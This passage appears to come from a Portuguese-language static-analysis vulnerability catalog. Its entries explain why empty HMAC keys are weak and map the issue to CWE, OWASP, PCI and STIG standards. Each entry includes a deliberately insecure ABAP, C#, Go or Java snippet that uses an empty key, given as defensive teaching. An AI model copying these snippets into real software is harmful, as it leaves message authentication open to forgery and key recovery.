[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.vb.key_management_empty_encryption_key
Abstract
Chaves HMAC vazias podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave HMAC vazia. A força criptográfica do HMAC depende do tamanho da chave secreta, que é usada para o cálculo e a verificação dos valores de autenticação de mensagens. Usar uma chave vazia enfraquece a força criptográfica da função HMAC.
Exemplo 1: O seguinte código usa uma chave vazia para calcular o HMAC:

...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.

CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.

" update HMAC with input
lo_hmac->update( if_data = input_string ).

" finalise hmac
lo_digest->final( ).

...


O código mostrado no Example 1 pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1 é vulnerável a ataques de falsificação e recuperação de chave.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.abap.key_management_empty_hmac_key
Abstract
Chaves HMAC vazias podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave HMAC vazia. A força criptográfica do HMAC depende do tamanho da chave secreta, que é usada para o cálculo e a verificação dos valores de autenticação de mensagens. Usar uma chave vazia enfraquece a força criptográfica da função HMAC.
Exemplo 1: O seguinte código usa uma chave vazia para calcular o HMAC:

...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...


O código no Example 1 pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1 é vulnerável a ataques de falsificação e recuperação de chave.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.dotnet.key_management_empty_hmac_key
Abstract
Chaves HMAC vazias podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca use uma chave HMAC vazia. A força criptográfica do HMAC depende do tamanho da chave secreta, que é usada para o cálculo e a verificação dos valores de autenticação de mensagens. Usar uma chave vazia enfraquece a força criptográfica da função HMAC.

Exemplo 1: O seguinte código usa uma chave vazia para calcular o HMAC:


import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...


O código no Example 1 pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele pode descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1 é vulnerável a ataques de falsificação e recuperação de chave.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.golang.key_management_empty_hmac_key
Abstract
Chaves HMAC vazias podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave HMAC vazia. A força criptográfica do HMAC depende do tamanho da chave secreta, que é usada para o cálculo e a verificação dos valores de autenticação de mensagens. Usar uma chave vazia enfraquece a força criptográfica da função HMAC.
Exemplo 1: O seguinte código usa uma chave vazia para calcular o HMAC:

...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...


O código no Example 1 pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1 é vulnerável a ataques de falsificação e recuperação de chave.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
